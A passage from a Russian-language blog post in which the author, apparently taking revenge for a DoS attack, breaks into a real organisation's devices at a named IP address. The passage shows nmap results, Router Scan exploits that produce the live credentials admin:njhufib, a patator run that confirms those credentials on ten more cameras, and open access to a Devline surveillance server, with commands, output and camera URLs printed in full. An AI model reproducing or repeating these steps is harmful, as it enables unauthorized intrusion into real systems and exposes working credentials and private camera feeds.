SF:ng\)\r\n")%r(LPDString,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n
SF:")%r(LDAPSearchReq,3E,"452\x20syntax\x20error\x20\(connecting\)\r\n452\
SF:x20syntax\x20error\x20\(connecting\)\r\n")%r(SIPOptions,91,"452\x20synt
SF:ax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecting
SF:\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20erro
SF:r\x20\(connecting\)\r\n421\x20too\x20many\x20errors\r\n");
Service Info: Host: MikroTik; OSs: Unix, Linux, Windows; Devices: security-misc, webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1000.83 seconds
Не хост, а какая-то рождественская ёлка! Там имеется:
- 2 или 3 веб-сервера (порты 80, 443 (HTTPS), 8880 и 7443 (тоже HTTPS))
- 4 SSH сервера (порты 22, 5010, 8000 и 17789)
- 4 FTP сервера (порты 21, 211, 212, 7211)
- Openfire, Version: 4.0.3 на 9090 порту
- HTTP сервер на порту 9780, который разрывает попытки подключения
- HTTP сервер на порту 9786, который предлагает скачать Flash плеер, судя по файлу http://193.232.100.234:9786/lang.json (найден на основе анализа исходного кода), имеет отношение к системе видеонаблюдения ru.devline.tv (Devline Linia Server (Devline))
- Множество Boa и lighttpd HTTP серверов на портах 9977, 9978, 9979, 9980, 9981 9982, 9983, 9984, 9985, 9986, 9987, 9988, 9989, 9990, 9991, 9992, 9993, 9994, 9995, 9996, 9997 и 9998
Для порта 9998 так и написано, что это D-Link DCS IP camera.
Имеется ещё несколько совсем непонятных портов.
Видимо, это роутер или компьютер, на котором настроена проброска (forwarding) портов на другие устройства, размещающиеся в локальной сети.
Как использовать Router Scan by Stas’M на нестандартных портах
Оборудование на портах 9977, 9978, 9979, 9980, 9981 9982, 9983, 9984, 9985, 9986, 9987, 9988, 9989, 9990, 9991, 9992, 9993, 9994, 9995, 9996, 9997 и 9998 — это какая-то техника вроде роутеров или IP камер.
Для их проверки можно использовать RouterSploit или (в рамках государственной программы «Ипортозамещение программного обеспечения») Router Scan by Stas’M.
По умолчанию Router Scan сканирует три популярных веб порта 80, 8080 и 1080. Но в нашем случае все порты другие, поэтому нужно изменить настройки портов. Это можно сделать в графическом интерфейсе или (что быстрее, если портов много), в файл ports.txt, которые лежит в корневой папке Router Scan, впишите нужные порты — один порт на одну строку.
Запускаем сканирование:
Для трёх устройств сработали эксплойты и мы знаем их логин и пароль: admin:njhufib
Я посмотрел — это действительно IP камеры.
Пароля «торгаши» в словаре Router Scan нет, поэтому даже если у других устройств, для которых не нашлось рабочего эксплойта, такой же пароль, то Router Scan не сможет это проверить.
Брут-форс служб на нестандартных портах
Чтобы проверить, подходят ли найденные учётные данные к устройствам на других портах, воспользуемся замечательной программой для брутфорса patator.
В опциях нам нужно будет указать тип аутентификации, поэтому начнём с его определения. Это можно сделать командой вида:
curl -v ХОСТ:ПОРТ
В результатах которой нужно посмотреть на заголовки.
Например:
curl -v 193.232.100.234:9977
Выведет:
* Trying 193.232.100.234...
* TCP_NODELAY set
* Connected to 193.232.100.234 (193.232.100.234) port 9977 (#0)
> GET / HTTP/1.1
> Host: 193.232.100.234:9977
> User-Agent: curl/7.64.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
< Date: Tue, 19 Mar 2019 04:34:45 GMT
< Connection: close
< WWW-Authenticate: Basic realm="DCS-2103"
< Content-Length: 0
< Content-Type: text/html; charset=ISO-8859-1
<
* Closing connection 0
Смотрим на строку содержащую WWW-Authenticate: Basic — итак, используется Basic аутентификация.
В случае неудачного входа возвращается код ошибки 401 (Unauthorized).
Составляем команду:
patator http_fuzz url=http://193.232.100.234:FILE0 0=ports.txt auth_type=basic user_pass=admin:njhufib -x ignore:code=401 -x ignore,retry:code=500
В ней:
- http_fuzz — означает использовать модуль http_fuzz, который применяется для брутфорса аутентификации basic | digest | ntlm, брутфорса веб-аутентификации, поиска скрытых файлов и папок. Наверное, его ещё можно для чего-нибудь применить — patator это супергибкая программа.
- url=http://193.232.100.234:FILE0 — означает, что в качестве URL берётся строка http://193.232.100.234:, после которой (как мы видим, через двоеточие), подставляются значения из файла с номером 0(FILE0). Если вы забыли, через двоеточие указываются порты, то есть в качестве хоста будет браться один и тот IP адрес, но с разными портами
- 0=ports.txt — означает, что файл с номером 0 имеет имя ports.txt. Напомню, что данные из этого файла подставляются в качестве портов. Сам файл ports.txt я просто одолжил у Router Scan.
- auth_type=basic — в качестве способа аутентификации установлена Basic
- user_pass=admin:njhufib — указывает имя пользователя и пароль, я использую статичную пару admin:njhufib
- -x ignore:code=401 означает игнорировать (не выводить на экран) попытки, при которых код ошибки был 401 (Доступ запрещён)
- -x ignore,retry:code=500 — означает игнорировать (не выводить на экран) попытки, при которых код ошибки был 500 (неполадка на сервере), но при этом попробовать этот же логин и пароль ещё раз.
07:35:23 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-03-19 07:35 MSK
07:35:23 patator INFO -
07:35:23 patator INFO - code size:clen time | candidate | num | mesg
07:35:23 patator INFO - -----------------------------------------------------------------------------
07:35:23 patator INFO - 200 2855:2727 0.242 | 9983 | 7 | HTTP/1.1 200 OK
07:35:23 patator INFO - 200 2855:2727 0.239 | 9984 | 8 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.250 | 9990 | 14 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.227 | 9991 | 15 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.227 | 9992 | 16 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.233 | 9993 | 17 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2591:2378 0.232 | 9994 | 18 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.232 | 9995 | 19 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.235 | 9997 | 21 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.239 | 9998 | 22 | HTTP/1.1 200 OK
07:35:25 patator INFO - Hits/Done/Skip/Fail/Size: 10/22/0/0/22, Avg: 10 r/s, Time: 0h 0m 2s
Смотрим на столбец candidate — эта пара паролей успешно подошла к ещё десяти хостам на других портах:
- 9983
- 9984
- 9990
- 9991
- 9992
- 9993
- 9994
- 9995
- 9997
- 9998
Как открыть Devline Linia Server (Devline) без Flash
С http://193.232.100.234:9786/ возникли некоторые проблемы — я никак не мог найти веб-браузер, который до сих под поддерживает Flash… (у меня Linux). Я догадался запустить виртуальную машину с Windows и открыл этот адрес в Internet Explorer, вот так выглядит Devline Linia Server (Devline):
Вы можете спросить, а какой нужно вводить пароль — пароль вводить не нужно… Просто открываете адрес и смотрите… Возможно, так и было задумано…
Пользователь web, пароль - <пустая строка>. Чтобы начальнику было проще запомнить?
IT отдел — возможно, отсюда велась DoS атака…
Поскольку Flash довольно древняя технология, то есть шанс, что приложение на Flash устроено довольно просто и есть возможность получить доступ к камерам без браузера Internet Explorer. Можно декомпилировать файл с Flash, но, на мой взгляд, ещё проще понять принципы работы по сетевой активности.
Анализ сетевой активности Flash приложения
Уже наверное даже не все поймут, что такое Flash. Это мощная технология, значительно расширившая в своё время возможности веб-браузеров, очень популярная. А теперь из-за отсутствия поддержки в браузерах, о ней практически забыли. Поэтому совсем кратко про анализ Flash приложения в Wireshark.
Поскольку Flash работает в браузере, то эта программа отправляет обычные HTTP запросы. Для анализа достаточно захватить трафик и в Wireshark использовать фильтр
http
Там оказалось всё банально просто — делаются запросы к адресам вида:
- http://193.232.100.234:9786/cameras
- http://193.232.100.234:9786/microphones
- http://193.232.100.234:9786/users/web
В возвращаемом XML документе содержаться относительные ссылки на видео и фото, например, http://193.232.100.234:9786/cameras/2/video, http://193.232.100.234:9786/cameras/23/video и так далее.
Зачем здесь Flash если всё можно было бы сделать методами JavaScript и HTML5? Видимо, фронтэнд написали лет пятнадцать назад и тот разработчик, который его делал, уволился и теперь никто не может переделать… Сама-то компания devline, судя по прайс-листу на официальном сайте, живая.
Заключение
И, пожалуй, хватит с них. С какого перепуга кто-то из сотрудников DoS'ил мой сайт? Не знаю. Видимо, на работе у него слишком много свободного времени.
Камеры видеонаблюдения или специально собраны в хаб и выведены для открытого доступа, или настроены как-то уж совсем нарочито неправильно — не нужен не только пароль, для их просмотра не нужно даже вводить имя пользователя — возможно, это сделано намерено, чтобы все видели какой образцовый у них завод…
